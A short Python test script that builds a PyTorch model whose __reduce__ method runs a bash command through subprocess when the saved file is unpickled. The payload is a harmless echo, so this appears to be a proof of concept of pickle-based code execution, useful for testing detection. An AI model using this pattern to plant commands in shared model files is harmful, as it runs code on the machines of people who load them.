test.py

import torch
import subprocess

class MaliciousModule(torch.nn.Module):
    def __init__(self):
        super(MaliciousModule, self).__init__()

    def forward(self, x):
        return x

    def __reduce__(self):
        return (subprocess.check_call, ('/bin/bash -c "echo Hello from malware!"',))

model = MaliciousModule()
torch.save(model, 'm_model.pt')